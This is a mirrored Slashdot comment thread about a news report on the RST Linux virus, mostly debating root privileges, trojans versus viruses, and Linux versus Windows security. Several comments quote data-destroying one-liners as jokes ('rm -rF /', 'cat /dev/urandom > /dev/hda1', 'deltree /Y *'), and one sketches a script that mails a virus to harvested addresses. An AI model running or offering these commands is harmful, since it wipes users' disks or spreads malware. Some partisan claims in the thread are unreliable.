Slashdot Mirror


Linux Virus Alert

marcjw writes: "I don't see many of these (Linux virus alerts). In fact none in the six months or so since I've switched from MS. Maybe that's why this story from newsbytes caught my eye. At any rate, I'm not sure if this poses much of a threat to the general Linux community but it's always best to be forewarned."

166 of 501 comments (clear)

  1. Not via email you dont you wascally wabbit by -douggy · · Score: 2
    "However, Russell said it would be "dead simple" to attach the virus to a useful program, such as a tool that exploits a security hole, and beguile some users into running it. What's more, a malicious user could upload the virus to a Linux download library. "


    At least our email programs dont auto execute attachments.

    1. Re:Not via email you dont you wascally wabbit by dkemist · · Score: 5, Insightful

      Russell makes an excellent point there. All you have to do is distribute a file that "lets you own M$ boxen!" and there will still be a large number of script kiddies that will download the file and run it as root. Sure, it's not going to be able to be auto-executed, but it's just like virii back in the DOS days.

    2. Re:Not via email you dont you wascally wabbit by ryanr · · Score: 2

      Right. There are rumors that one of the SSH exploit binaries was infected with a virus similar to this one.

    3. Re:Not via email you dont you wascally wabbit by adolf · · Score: 2

      Surely you all are speaking of trojan horses, right? Right? Or has the vocabulary changed?

      Viruses are infectious - they spread, usually unbeknownst but sometimes not, across media and machines, branching as they go. Trojan horses explode upon execution, or at some predetermined time, and require specific action to be deposited on a user's machine.

      They are different things entirely.

      A shell script such as:

      #!/bin/sh
      rm -rF /

      could be construed as a trojan horse in the hands of someone who doesn't know better. This trojan horse might be spread by means of a virus, but that's where the relationship between the two stops.

      Viruses needn't even be destructive to meet the definition of being viral.

      If in doubt about these terms, simply RTFM. The Jargon File might be a good starting point, or any good (or not so good) common encyclopedia.

      -

    4. Re:Not via email you dont you wascally wabbit by Capacitor · · Score: 2

      But then again - you would have to be more than an average putz to run unsolicited code like this as root. Running it as a normal user will of course have little effect on most Linux systems, but a few crippled systems exist that allow users to noodle with everything like in WinXX. I think the only real threats to Linux systems are the ones that use clever manipulation of buggy software like BIND to gain unauthorized access to our boxes.

    5. Re:Not via email you dont you wascally wabbit by Codifex+Maximus · · Score: 2

      Hmm... as far as I understand the terms...

      Virus is: A snippet of code that gets onto a machine by any number of propogation mechanisms - usually as part of a larger program (see Trojan Horse) and is usually designed for malicious purposes. Most antivirus makers agree that viruses that remain undetected and/or are more covert in their activities are more dangerous. Viruse almost always require the intervention of a user to propogate.

      Worm is: A network aware program that may or may not be designed for malicious purposes - oftentimes it does have detrimental effects if it's network meanderings cause DoS and/or tieing up the process ID space of the affected machine/s. A worm can usually propogate itself without the intervention of a user.

      Trojan Horse: A virus that gains access to a machine by riding on the back of a seemingly harmless package.

      Stealth Virus: A virus that is adept at hiding itself from detection mechanisms. It hides itself by morphing it's signature, imitating system code and sometimes even attacking the antivirus software.

      Macro Virus: A virus that is designed to be run by a runtime package on the target machine. It can be a shellscript or an attached code block to a larger file and designed to use the built-in runtime of the target application. Easily circumvented by not activating the code or by disabling the runtime package.

      Boot Sector Virus: A virus that attacks the boot sector of a bootable disk and inserting it's code into the stream. Usually jumps to new disks by keeping a Terminate and Stay Resident portion for infection of new disks and gets run by booting from an infected disk or the infected program being run.

      Module Redirection: Not necessarily a virus or worm but can be the payload. A module that is inserted into the Kernel that redirects calls in order to hide itself and cause mischief. The exploit usually results in a rooted machine. Difficult to detect if the module is loaded before circumvention measures have been activated.

      Know thine enemy.

      --
      Codifex Maximus ~ In search of... a shorter sig.
  2. This cracks me up. by JeremyYoung · · Score: 5, Funny
    ...the virus requires users to run an infected program from an account with "root" permission.


    Ya, I run lots of unknown binaries while logged in as root, it's my favorite activity.
    --

    Go Lakers!

    1. Re:This cracks me up. by DocChaos · · Score: 2, Funny

      I run almost every binary I can find while i'm logged in as root.... If im gonna mess something up, im gonna do a damn good job of it....

      --
      DocChaos -------- I may be crazy, but then again I may be crazy.
    2. Re:This cracks me up. by Anonymous Coward · · Score: 5, Informative

      hmmm.. social engineering anyone?

      localhost:~$ tar zxf some-random-binary-0.0.1.tar.gz
      localhost:~$ cd some-random-binary-0.0.1
      localhost:some-random-binary-0.0.1$ ./runme

      This program must be run as root.

      localhost:some-random-binary-0.0.1$ su
      Password:
      localhost:some-random-binary-0.0.1# ./runme

      Sucka!


      Another point.. when was the last time you actually checked the code of something you've compiled? lets say instead of some-random-binary, it's some-random-young-sourceforge-app. Jeez, get off your fucking high horse.

    3. Re:This cracks me up. by marnanel · · Score: 3, Insightful

      It's not impossible for the trojan to have infected a trusted binary, unless you're sure that root only runs programs that have always been not only writable only by root, but also in directories only writable by root.

      It doesn't need to be as extreme as making /bin/ls world writable. For example, who has the right to change things in /usr/local/bin? Some distros make /usr/local/bin writable by a group called "staff", and on any system it's possible that you allow trusted users to put things in /usr/local/bin, or at least to compile programs which you then put into /usr/local/bin. And then that directory is often in root's path.

      That would mean that a sufficiently trusted user who ran an infected binary could then allow the infection to spread to root. (People are often rather less careful with non-root accounts.)

      --
      GROGGS: alive and well and living in
    4. Re:This cracks me up. by Dwonis · · Score: 2

      I prefer rm -rvf /dos.

    5. Re:This cracks me up. by marnanel · · Score: 2

      That's true, but my point isn't that malicious users might make an evil /usr/local/bin/ls or something-- that's a separate problem. Rather, I'm saying that the risk of infection with trojans is present whenever programs (ones you run deliberately, and could conceivably run as root), are in a directory which has at some time been writable by a non-root user. The order of directories in root's path isn't going to change that, though keeping a directory out of the path entirely might.

      --
      GROGGS: alive and well and living in
    6. Re:This cracks me up. by Lumpy · · Score: 4, Interesting

      Actually quite often. Anything that requires running as root dont get installed unless it is a major important app. (Sorry but superWarezSniffer1.2 is not a major important app)

      I did look through airsnort, and the other "grey area" apps that I use for security and curiosity. Games? never get ran as root, every other app? never as root.

      Sorry but if you have to run it as root, 90% of the time it is a sign of poor code and will probably suck anyways...

      --
      Do not look at laser with remaining good eye.
    7. Re:This cracks me up. by StarTux · · Score: 2

      How many times do you run binaries from people you don't know? The e-mail route is likely to be the least effective.

      The upload scenerio is likely to be more worriesome and unfortuanlty few people will take preventive measures, until this method has been proven to be valid (as in lots get infected from a cracked program).

      Matt

    8. Re:This cracks me up. by Nailer · · Score: 2

      Ya, I run lots of unknown binaries while logged in as root, it's my favorite activity.

      So you never install any software for multiple users huh? What OS do you run? It sure can't be Linux...

    9. Re:This cracks me up. by ljaguar · · Score: 5, Informative

      OK, I'm really sick and tired of those people who say "Oh, I run binaries as root, so you do too."

      Have you every thought of /usr/local?
      ./configure --prefix=/usr/local?

      My /usr/local is writable by my staff. My staff consists of... me. So, I have root, my desktop login and staff. Just install stuff on /usr/local, as staff. Voila. Staff can't touch my $HOME or any of the system binaries. So any malicious script (at install time aka make install) is pretty much contained in... /usr/local.

      Let's say I run a infected binary in /usr/local/bin as my desktop login. I loose my stuff. You can argue that this is just as bad, but my system is still not compromised.

      This isn't rocket science, guys.

    10. Re:This cracks me up. by ryanr · · Score: 2

      That wasn't completely accurate. You can infect executables that you have write permision to just fine. Anything in your home directory, for example. On the vast majority of systems, you'll need to be root to infect /bin. (If you don't have to be root to write to executables in /bin, you've got worse problems.)

    11. Re:This cracks me up. by corvi42 · · Score: 2

      $./configure
      $./make
      $su
      Password:
      $make install

      How often do you read line-by-line whats in a makefile when you get some piece of code you want to use?

      Personally I don't, and I think that we as a community are much too lax about this sort of thing - we need some better conventions about what goes into scripts like this and why - or we need other accounts that have pseudo-root status for things like installing files. Just a thought.

      --

      There are a thousand forms of subversion, but few can equal the convenience and immediacy of a cream pie -Noel Godin
    12. Re:This cracks me up. by Pryon · · Score: 2, Insightful

      when was the last time you actually checked the code of something you've compiled?

      This is a common strawman in discussions of viruses/trojans under Linux. Obviously noone has time to scan all the code they download for use on their systems. Fortunately, there are sites that you can trust offering the vast majority of software we use.

      Receipt of an executable attachment is in no way similar to downloading files from gnu.org, [insert your favorite linux distribution here].com, idsoftware.com, etc. If you don't trust well-known packages from well-know sites (or mirrors linked from those sites) then you may as well hang it up right now.

    13. Re:This cracks me up. by A_Non_Moose · · Score: 3, Funny

      I loose my stuff.

      Proof that information wants to be free.

      Now, if you happened to lose your stuff, that's bad.

      Sorry, pet peeve of mine.

      Lose: as in to misplace, lost, not win.
      Loose: to release, to untighten, relax.
      {where is the Angryflower on this particular topic?}
      .

      --
      Have you read the moderator guidelines? Well, have you, PUNK? (and I want a Karma: Gnarly option)
    14. Re:This cracks me up. by ddilling · · Score: 3, Insightful

      True, but...

      The issue is, the same people are vulnerable to this on linux, as are vulnerable on Windows -- the people who really don't know better.

      It will be difficult to believe the linux community is serious about building an OS 'that grandma can use' until we accept that grandma really might 'fall for' the idea of a virus that needs to trick the victim into running as root.

      So long as experts (or at least, knowledgeable users) who are serious about security are the only ones running a given OS, of course their machines will be safe from viruses.

      --
      Mahnamahna!
    15. Re:This cracks me up. by mindriot · · Score: 2

      An executable named ./configure would probably do the job pretty well...

    16. Re:This cracks me up. by Nailer · · Score: 2

      Huh? Of course you can install for multiple users. But you can't generally do this without running the code as root or some other similarly privileged user.

      That was what I was saying. You don't seem to have responded.

    17. Re:This cracks me up. by psamuels · · Score: 3, Informative

      Sure, download and install the SDL version.

      Dont require logging in as root to play it.

      Is that so? I believe you are mistaken - SDL is only a wrapper library which calls out to existing methods of doing graphics (among other things).

      One such method is Xlib, and I don't want to run an X server. Another is the Linux kernel framebuffer, and I'm not so interested in taking the performance hit of running in frame buffer mode (why do you think I use a text console in the first place - mostly for speed). A third is aalib, and I don't want to run Doom in ASCII art (slashdot reports about Quake notwithstanding). Which leaves me running SDL applications in ... svgalib mode. Which requries root.

      Svgalib is really old.. SDL is the way now.

      "Xlib is really old.. Gtk+ is the way now."

      The two statements are equivalent.

      --
      "How can you claim that you are anti-crack, while still writing a window manager?" — Metacity README
    18. Re:This cracks me up. by mindriot · · Score: 2

      > The ./configure script should not be run as root in the first place.

      Well, of course not, but that's where the Social Engineering part kicks in (of course this will hardly fool an experienced user).

      But also, remember that a "make install" must usually be done as root. A nice Makefile can then also execute practically anything.

    19. Re:This cracks me up. by Drone-X · · Score: 2
      Silly you, you're giving the Windows users a way to defend Microsoft for their virus-prone Outlook -- how anti-Slashdot.



      (Personally I believe the Unix security system is just as bad as Windows concerning virus-protection for users.)

    20. Re:This cracks me up. by Drone-X · · Score: 2

      With todays 100Gig drives often most data belongs to the user. If you're backing up your 75Gig colleciton of music and music you might as well back up your system files too. Of course this isn't the average case today but it might as well be in the near future.

  3. Linux viruses needed. by Nicopa · · Score: 2, Interesting

    As we speak (write?) there are surely a couple of computer labs paid by McAfee, Norton, etc. trying to create some kind of successful Linux virus/worm. =)

  4. Windows Compatibility by davidstrauss · · Score: 3, Funny

    A patch that allows the virus to exploit Windows will be released in Service Pack 1 for Windows XP.

  5. More viri on MS- why? by anotherone · · Score: 2, Interesting
    Why is is there are more viruses for MS platforms than Linux platforms? Does it have something to do with the OS itself- more secure, perhaps? Is it just because Linux users are usually more knowledgeable and careful about such things?

    Or is it just that virus writers focus their efforts on MS software? (And if it's the last one, why do malicious coders focus on MS? Is it just to spread FOAD and, indirectly, their favorite OS?)

    --
    Username taken, please choose another one.
    1. Re:More viri on MS- why? by davidstrauss · · Score: 3, Informative

      Any smart Linux user doesn't usually run their computer with root permissions. Until Windows XP, all consumer versions of Windows (9X, Me) ran all users at an eqivalent to root level, enabling viruses to wreak havok at any time. Macs were the same way before OS X, but virus writers still targeted Windows because of the large installed base.

    2. Re:More viri on MS- why? by NecroPuppy · · Score: 4, Informative

      Part of it's because of the relative lack of security on a Windows box; only NT and XP had/have an administrator level where regular users aren't allowed to do things.

      95/98 let anyone run just about anything as default. And XP actually does this too... Default accounts are set up as administrator without passwords.

      And while you can run everything from an administrator account (got root?) under Linux, the type of person who installs Linux generally knows better than to do so.

      It's because of the limited access that most accounts have that makes viruses difficult to write under Linux.

      As to why malicious coders concentrate on MS, it's because it's easy. The coders at MS keep making the same mistakes over and over again. Look at the UPNP exploits.

      --
      I like you, Stuart. You're not like everyone else, here, at Slashdot.
    3. Re:More viri on MS- why? by zulux · · Score: 3, Insightful

      Why is is there are more viruses for MS platforms than Linux platforms?

      The main reaseons are thus:

      1) Microsoft attemps to grab marketshare by adding any 'feature' that appeals to the masses, rather than adding security that appeals to a few smart people.
      2) Microsoft's security model has had only a few years of evolution, the UNIX/Linux/BSD model has had almost twenty years of networked connected time to get it right.
      3) Microsoft is gready. Raher than give you a patch to fix the secutity problems of your old Microsoft software - they would rather force you to pay for their newer version.
      4) Microsoft programmers are inept. Microsoft attracts greedy and underqualified programmers with the lure of stock options. Good programmers either work for themselves or for a company that puts pride in their work. Good programmers seldom do it for the money - witness the wonderfull security of the shoestring-budget OpenBSD versus the 1.2 billion USD Windows XP that had to be pathced within a month of it's consumer release.

      In short - Microsoft's bad security is actually good for their bottom line, it forces you to pay money for their 'upgrades.'

      --

      Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.

    4. Re:More viri on MS- why? by tuffy · · Score: 2, Informative
      Unix-alikes are built from the ground-up to prevent accidents (particularly from non-root users) from damaging the system. DOS-alikes assume a single, all-powerful user that is free to annihilate anything at will. Viruses have an easy time exploiting the latter, but have a tough time propagating on the former. And, without an easy route for propagation, Linux viruses simply can't gain a foothold to cause any real damage.

      Naturally, the average user skill and level of vigilence by Linux developers helps too. But I think the basic design plays a big part in the lack of viruses.

      --

      Ita erat quando hic adveni.

    5. Re:More viri on MS- why? by kilrogg · · Score: 2, Interesting
      only NT and XP had/have an administrator level where regular users aren't allowed to do things.

      But it doesn't work very well in partice. Example, Microsoft Filght sim 2002, when run from a normal user account, tells you you need to run it from an admin account. You see, rather then each user having their own config/save files, there's global config/save files which all users must be able to write to. The same applies to lots of other windows programs too.

      Many users will just give themselves admin privledges (or login as admin) and be done with it. So the problem will still exist for a while.

    6. Re:More viri on MS- why? by BitwizeGHC · · Score: 2

      4) Microsoft programmers are inept. Microsoft attracts greedy and underqualified programmers with the lure of stock options. Good programmers either work for themselves or for a company that puts pride in their work. Good programmers seldom do it for the money - witness the wonderfull security of the shoestring-budget OpenBSD versus the 1.2 billion USD Windows XP that had to be pathced within a month of it's consumer release.


      Microsoft lures greedy good programmers with the stock options carrot-and-stick too. It is well known that among Microsoft's tactics for ruining competitors during the nineties was simply hiring their best programmers away. Their shitty software is usually a result of shitty management decisions, not necessarily their engineers.
      --
      N4st0r, trixx0r h0bb1tz0rz! Th3y st0l3 0ur pr3c10uzz!
    7. Re:More viri on MS- why? by gmarceau · · Score: 3, Insightful

      Part of it's because of the relative lack of security on a Windows box; only NT and XP had/have an administrator level where regular users aren't allowed to do things.

      95/98 let anyone run just about anything as default. And XP actually does this too... Default accounts are set up as administrator without passwords.


      Let me add some items to your list...

      - Linux installers are usually very good at teaching newbies the dangers of the root account. They will also make it real easy and natural to setup secured user accounts.

      - The community is very good at reminding each other not to run as root, be it in weblogs, readmes, changelog, etc. In fact, they even go on running jokes about it. At the end of the day, it makes a wonderful job at passing the word to new users.

      - Since there is already a critical mass of carefull users on linux, programs that use more permissions that they need to can expect to receive flews of angry emails. Under w2k/xp, where most home users run in administrator, those that do not are less likely to complain. The end result is, windows software too often crashes and bugs up unless run as root.

      - Under Linux, it is real easy to become root the time of one punctual action (su, sudo, fakeroot), then relinquish the extra permissions. Under w2k, you have to create a shortcut to the executable, right click, check 'run as a different user', click ok, double click, click on the password field, enter the root password. A real pain in the ass. And again, alot of programs that would run otherwise correctly as administrator won't work with this method. In which case you have to save all your work, log out, log in as admin, run that program, log out, log back in, restart all the program you were using. Blah! Easily a ten minutes process.

      - Under windows, it is always trivialy easy to runs programs. So much so, that I'm extra careful whenever I'm reading mail under windows, and slow down my perusal to be sure not to stumble and accidentaly run a virus. Under linux, running untrusted program is a two step process: first give it the permission to run (chmod +x virus.exe), then run it (./virus.exe) .

      - Finaly, viruses need to pull their infection/clean up ration over the 1.0 bar in order to survive and outbreak. Linux, with it's smaller installed base and it's biodiversity of distributions, makes it hard for a virus to find its next vunerable target. With that in mind, we can expect somewhat more Linux viruses the day it takes over Windows as everyone's operating system.

      --
      This post was compiled with `% gec -O`. email me if you need the sources
    8. Re:More viri on MS- why? by vsync64 · · Score: 2, Informative
      The following works perfectly on my laptop. Normally it uses the touchpad, and as soon as I plug in a USB mouse it is recognized and used. Make sure to have the hid and mousedev modules loaded...

      Section "InputDevice"
      Identifier "Mouse1"
      Driver "mouse"
      Option "Protocol" "PS/2"
      Option "Device" "/dev/mouse"
      Option "Emulate3Buttons"
      Option "Emulate3Timeout" "100"
      EndSection

      Section "InputDevice"
      Identifier "Mouse2"
      Driver "mouse"
      Option "Protocol" "IMPS/2"
      Option "Device" "/dev/input/mice"
      Option "SendCoreEvents"
      Option "ZAxisMapping" "4 5"
      EndSection

      --
      TO BUY A NEW CAR WOULD MAKE YOU SEXUALLY ATTRACTIVE.
    9. Re:More viri on MS- why? by ImaLamer · · Score: 2

      Why is is there are more viruses for MS platforms than Linux platforms?

      Because there is a market for Anti-Virus software for windows! If there were virii for linux boxen then the anti-virus software would be likely opensource [or GPL]. No market.

      Just think, a design flaw of windows makes the anti-virus people $70 a sale. If microsoft was going to bundle anything, it should be an anti-virus utility.

      XP got onto the right track with copying linux's multiple user accounts - hopefully they will start to restrict the users more.

    10. Re:More viri on MS- why? by Enahs · · Score: 2
      Heh. At least on OS X boxes, one needs a.) to be in wheel group and b.) a password to install random binaries.



      I really wish MS could embrace that concept--I might be inclined to trust their OSes a little more if they would.

      --
      Stating on Slashdot that I like cheese since 1997.
    11. Re:More viri on MS- why? by ryanr · · Score: 2

      Because there are many more WIndows boxes, and virus writers like to have their virus run on as many machines as possible.

    12. Re:More viri on MS- why? by D+Anderson+n'Swaart · · Score: 2
      I guess you could have been joking, but the logic of this is a bit flawed (aside from in the context of Star Trek).

      If the needs of the many outweigh the needs of the few, then surely the billions of dollars worth of damages (that can't be sued for because of good old eulas) caused by the bad security implementation in Microsoft's programs indicates that it is in the best interest of "the many" for increased security to be in place?

      Does Microsoft even doubt this?

      Hell no. But they know they can't be touched, because their licenses protect them from responsibility for the damage their badly-designed software causes, and as long as they don't start getting a reputation for bad software with consumers (not high-end users), they can continue to ignore the problems in favour of increased revenue by charging very high prices for much-hyped software that anyone in the know can see is just a slightly modified and patched version of existing software (thinking of Windows XP specifically here, but it's a general rule that's applicable to most of what they do).

      Oh, and btw, I don't think that Spock said that sentence with capitalisation on each word...

    13. Re:More viri on MS- why? by IntlHarvester · · Score: 2

      There's two MS preview pane autorun viruses that I can think of -- Both used HTML mail: One used a bugged java applet that exploited the MS JVM (broken sandbox), another used a buffer overrun against a ActiveX control that came preinstalled with certain version of Windows (and therefore was 'trusted').

      Other 'autorun' MS mail attacks utilized buffer overflows against the MIME type and date parsers. Can you say with certainty that your mailer is free of such bugs? I can't.

      The point is that none had to do with the preview pane itself, and instead used malformed data to attack code that was already on your computer and therefore you had to trust. Maybe HTML mail is just a bad idea, but it's customer demanded feature that exists on non-Windows platforms too (recall the Netscape JVM 'feature' that turned your browser/mailer into a webserver).

      So, I guess I just don't see the design flaw issue with the preview pane viruses, just bad coding. It's not on the same braindamage scale as the Word autorun macros, where delivered code is executed.

      I agree that MS nearly always makes the wrong decision when it comes to security versus features, I just don't think that they are at all unusual in that respect in the consumer PC application space, with the exception that people are more actively trying to find flaws in their products.

      --
      Business. Numbers. Money. People. Computer World.
    14. Re:More viri on MS- why? by IntlHarvester · · Score: 2

      Well, I think you had it on the mark with your earlier reference to bank vaults. If you want security, you need to have small verifiable pieces with limited interfaces.

      The problem is that's not what people are buying in PC space. Users want to have dodgy filesharing clients installed, complex software like mailers and browsers, and so on. An object system like COM only makes it easy - there's probably an unlimited number of local exploits in the typical hunk of PC software, and as long as you can fork processes or load libraries, you have a problem if you can't trust every bit of code on your disk, even if you are MS-free.

      My feeling is that the core security mechinisms in OSes date from the timesharing era and are really just unsuitable for personal computing. The most valuable thing by far on my machine is my data, not configuration and not code.

      The real answer is probably a pervasive sandboxing system on the OS level (above and beyond what scripting or Java-only sandboxing gets you). Such things exist for government-bound trusted OSes (preventing interaction between "Top Secret", "Classified", and "Unclassified" code and data), and would be an excellent feature even in a PC OS ("Untrusted P2P and Warez", "Personal", "Work")

      But -- the key point is that doesn't exist yet, and when it does we probably won't like it (.NET, Passport, DRM). Until the rules change, Microsoft remains a big target for people looking for implementation faults. That's not to say that they shouldn't produce better code, saner defaults, and maybe actually look into using file permissions in the meanwhile.

      It strikes me that this solution alone would have negated pretty much every major email virus out there.

      SirCam contained it's own grep and SMTP code, so no, it wouldn't. As long as the OS provides the functionality, having a limited scripting environment only hurts the lamers.

      --
      Business. Numbers. Money. People. Computer World.
  6. It's not a virus, it's stupid. by lostchicken · · Score: 4, Funny

    #!/bin/sh
    cat /dev/urandom > /dev/hda1

    There. It's a virus.

    --
    -twb
    1. Re:It's not a virus, it's stupid. by SEWilco · · Score: 3, Funny

      Another success of open source code. People are improving the code within hours.

    2. Re:It's not a virus, it's stupid. by Dwonis · · Score: 2

      /dev/nvram is not your flash BIOS, it's just the settings space. Hell, mine's only 114 chars, which is hardly enough to fit Phoenix/Award's graphical boot screen.

    3. Re:It's not a virus, it's stupid. by Dwonis · · Score: 2
      Can someone explain to me how this is a troll?

      V'z fgnegvat gb guvax gung gur hfreanzrf bs gur zbqrengbef fubhyq or vapyhqrq jvgu gurve zbqrengvbaf. Gurfr gebyy naq/be fghcvq zbqrengbef ner ernyyl fgnegvat gb cvff zr bss.

      OGJ, lbh'er cebonoyl va ivbyngvba bs gur QZPN, fbzrubj ... rira vs lbh'er abg Nzrevpna.

  7. MS Plot? by Knunov · · Score: 2, Funny

    Scene: Redmond, Washington - early Saturday evening in a building on the Microsoft campus.

    MS Coder #1: "Dude! We made the front page on Slashdot! Bill is gonna hump our legs for this!"

    MS Coder #2: "Cool! When we finish RST.c we might even make CNN!"

    It could happen...

    Knunov

    --
    Why do users with IDs under 100,000 or over 700,000 usually have the most worthwhile comments?
  8. Pretty crazy stuff by linzeal · · Score: 2, Interesting
    "Uriah Welcome, an administrator for the popular SourceForge repository of open source programs for Linux, said the unit of VA Software Corporation does not scan files uploaded to the site for viruses."

    Um, he further states that it would be "trivial" to add such a feature. Almost all win32 repositories have such scanners in place why wouldn't the largest linux software sites have them as well? Have we become too trusting of the "many eyes" theory?

    1. Re:Pretty crazy stuff by pete-classic · · Score: 4, Informative

      Well, the primary reason would be the lack of any viruses to scan for.

      It is only "crazy" to not scan for viruses from the mindset that viruses are out there. It isn't crazy to take a road trip in a car that doesn't have a spare innertube if the car uses tubeless tires.

      It is also important to note that this article is not about a virus. It is about a trojan. There isn't really any way to do an automated check for unknown trojans on any platform, since the scanner can't know what the program is supposed to do in to first place to figure out if it is doing something else as well.

      The question with Linux binaries is are they what they claim to be. That question is generally answered with an MD5 sum from a trusted source. This renders the case of unknown trojans moot.

      -Peter

    2. Re:Pretty crazy stuff by Arandir · · Score: 3, Funny

      If people are going to downloading the uploaded software, then not scanning it for virii (trojans or anything else for that matter) is completely irresponsible.

      I now know not to trust Sourceforge anymore. If I don't have the time to audit the code I won't download it.

      --
      A Government Is a Body of People, Usually Notably Ungoverned
    3. Re:Pretty crazy stuff by linzeal · · Score: 2, Insightful
      The question is not whether you or I will md5sum every binary and look over every peice of source before we compile it. The question is should we expect this of the average human being that may use linux for the same reason most people use windows 32 and nothing more.

      This is a trust issue and the entrusting of power into people that may or may not be up to or care for the task. RPMs are as easy to install as a setup.exe for people as long as there is not a slew of dependencies (which has been lessened with the advent of "smart" installers). It is that ease of use which is dangerous without precaution as we have seen with microsoft products. Implementing safety measures beyond those that we as accomplished users have grown accustomed to is a rising concern and still needs to be addressed.

    4. Re:Pretty crazy stuff by ryanr · · Score: 2

      Well, the primary reason would be the lack of any viruses to scan for.

      There are a few:
      http://www.viruslist.com/eng/viruslist.asp?id=3033 &key=000010000500002&page=0&mode=1

      It is also important to note that this article is not about a virus. It is about a trojan

      No, it's about a virus. It infects files. I would not also classify it as a trojan, but that's debatable.

      The question with Linux binaries is are they what they claim to be. That question is generally answered with an MD5 sum from a trusted source. This renders the case of unknown trojans moot.

      Unless the file gets infected before the author produces the MD5 sums.

      Besides, there are plenty of Windows programs on Sourceforge, so it probably wouldn't hurt to scan.

    5. Re:Pretty crazy stuff by schussat · · Score: 2
      The question is should we expect this of the average human being that may use linux for the same reason most people use windows 32 and nothing more. This is a trust issue and the entrusting of power into people that may or may not be up to or care for the task. RPMs are as easy to install as a setup.exe for people as long as there is not a slew of dependencies (which has been lessened with the advent of "smart" installers).

      I think you're right on here. I don't necessarily prescribe to the "compiling everything on your own is safe; you can just read the source code!" school, but I definitely think there is a tradeoff between extending linux's share of the average desktop and keeping it secure. Even if a trojan or virus is just run by me as a non-root user, it can still wipe out my email, my programming, my research -- it would still suck a lot, even if it doesn't destroy the filesystem. It seems to me that linux developers have the opportunity here to be proactive and beat viruses before they become as common on linux as on windows; precluding the rise in seriousness of linux viruses can only be a positive feature of an OS that wants to compete with windows.

      -schussat

      --
      The hour of noon has passed. Let us go and get some Kentucky Fried Chicken.
  9. Not much of a threat (?) by PoiBoy · · Score: 2, Informative
    According to the article, the virus uses the exterior gateway protocol (EGP). I've never heard of this, though I could just be naive.

    What services use this EGP protocol?

    I'm assuming that if my box doesn't run anything that uses this, then it's not vulnerable to exploitation.

    --
    Sig (appended to the end of comments you post, 120 chars)
    1. Re:Not much of a threat (?) by linzeal · · Score: 2, Informative

      Try here for information on egp. Bookmark the site it'll answer any technical acronym question.

    2. Re:Not much of a threat (?) by ryanr · · Score: 2

      EGP isn't used anymore. Well, I'm sure it's still used somewhere, but it has been officially replaced.

      This is the method that one would use to activate the backdoor. Any Linux box running IP is capable of receiving EGP packets, or any IP type, if a listener is registered. If you get infected (as root), the EGP stuff will work just fine.

  10. Re:Really... by Steve+Cowan · · Score: 2, Interesting

    Au contraire! Because of the sheer volume of servers currently running linux, it would appear to be one of the most attractive platforms to write virii for.

    A programmer could certainly wreak a lot more havoc by planting their seeds in big web servers, domain name servers, mail servers, etc., rather than just messing up a bunch of average peoples' desktops.

  11. Loved this part... by Eryq · · Score: 5, Funny

    Unlike some Windows-based viruses that travel like wildfire using vulnerabilities in Microsoft's Outlook e-mail program, the new RST variant is unlikely to spread widely, according to Russell.

    One short sentence to compare and contrast the MS Virus Deployment System with Linux. I also like the part where he says that most Linuxers are more "sophisticated" (must be why our mascot wears a tux).

    --
    I'm a bloodsucking fiend! Look at my outfit!
    1. Re:Loved this part... by demaria · · Score: 2

      Okay fine. You have a mail spool, saved messages, locally cached messages, and sent mail files in your home directory right?

      cat /var/spool/mail/you; cat ~/.addressbook
      parse out every email address
      for each user
      mail -s "Hey look at this!" ++ $virus

    2. Re:Loved this part... by demaria · · Score: 2

      I might of spoken too fast here, not fully realizing the original poster's point.

      My previous message is about viruses spreading via email to other users. As for getting a virus on in the first place, use one of those remote holes that pop up from time to time. :) Or stop using outlook and switch to Eudora. ;)

  12. heh by Order · · Score: 4, Funny

    Linux, an alternative to Microsoft's Windows.

    Heh, couldn't they just write "An operating system"?

    --

    I am a genius; therefore, you suck.
    1. Re:heh by snake_dad · · Score: 2

      Instead of which of the two names that you mention? :-)

      --
      karma capped .sig seeking available Slashdot poster for long-term relationship.
    2. Re:heh by gilroy · · Score: 2
      Blockquoth the poster:


      Linux, an alternative to Microsoft's Windows.

      Heh, couldn't they just write "An operating system"?


      Heck, we should just be glad that there's a news organization that can even conceive of an alternative to Windows.
    3. Re:heh by Dr.+Awktagon · · Score: 3, Funny

      Yeah I noticed that too, wtf?.

      The movie star was seen drinking Jolt Cola (an alternative to Pepsi-Cola's Pepsi).

    4. Re:heh by Glorat · · Score: 2, Insightful

      The average Joe User doesn't know what an operating system is. Seriously. But at least they know what Microsoft Windows is.

    5. Re:heh by protonman · · Score: 2, Funny

      No they don't. If people don't understand what an OS is, they can't *know* what MS Windows is.

      Joe User: What's an OS?
      You: It's like Microsoft Windows.
      Joe: Ah.Ok.
      You: So what does it do then?
      Joe: Whatcha mean?
      You: What does an OS do?
      Joe: You mean, like, what Windows does?
      You: Jeah. What does Windows do?
      Joe: Eh, like, eh... crash?
      You: Oh well, close enough...

      --
      The man of knowledge must be able not only to love his enemies but also to hate his friends.
  13. So what do I have to do to get it? by andy+the+engineer · · Score: 2, Interesting

    I didn't see anything in the article about how it actually propogates. It didn't read like a worm, so what binaries (tarballs and RPMs) are suspect? Anyone? Anyone?

    --
    Jack of all trades, master of some.
    1. Re:So what do I have to do to get it? by ryanr · · Score: 2

      It infects ELF files, that's it. It needs help to spread, which is why I don't expect it to spread much. To get between boxes, it would have to ride on some sort of file transfer mechanism like NFS, HTTP, FTP, etc... or have someone manually share it via email, floppies...

    2. Re:So what do I have to do to get it? by J4 · · Score: 2

      Okay, I've been thinking this since I read the article... Anytime I downloaded a precompiled binary from sourceforge, it was a tarball. Last time I checked tarballs weren't elf format executable binaries. So even if the server is tainted, the tarball won't be.

  14. Re:Not a Troll by The+FooMiester · · Score: 2, Informative

    So, I see defense of Linux already. But why not place some blame on those who made this security hole? One of the major things Linux has going for it is it's lack of security flaws, and lack of virii.

    But it's not a hole. It's the "beauty of unix security". You can do what you want as root, and pay the consequencecs, or run as non-privilidged luser, and only screw up your own files. What **I'm** waiting for, is the *nix virus that binds to non-privilidged ports, infects normal lusers(by looking for permissive permissions in pathed directories)

    --
    The previous has been a secret message to my comrades.
  15. DOS 7 virus alert! by startled · · Score: 5, Funny

    Do NOT run "deltree /Y *"-- this is a very dangerous trojan that could potentially destroy your system!

    The worst part is, it's already infected 100% of all DOS 7 systems.

    (Is is just be, or does it seem silly to give any time to a "virus" that requires you to run a binary while rooted?)

    1. Re:DOS 7 virus alert! by startled · · Score: 3, Funny

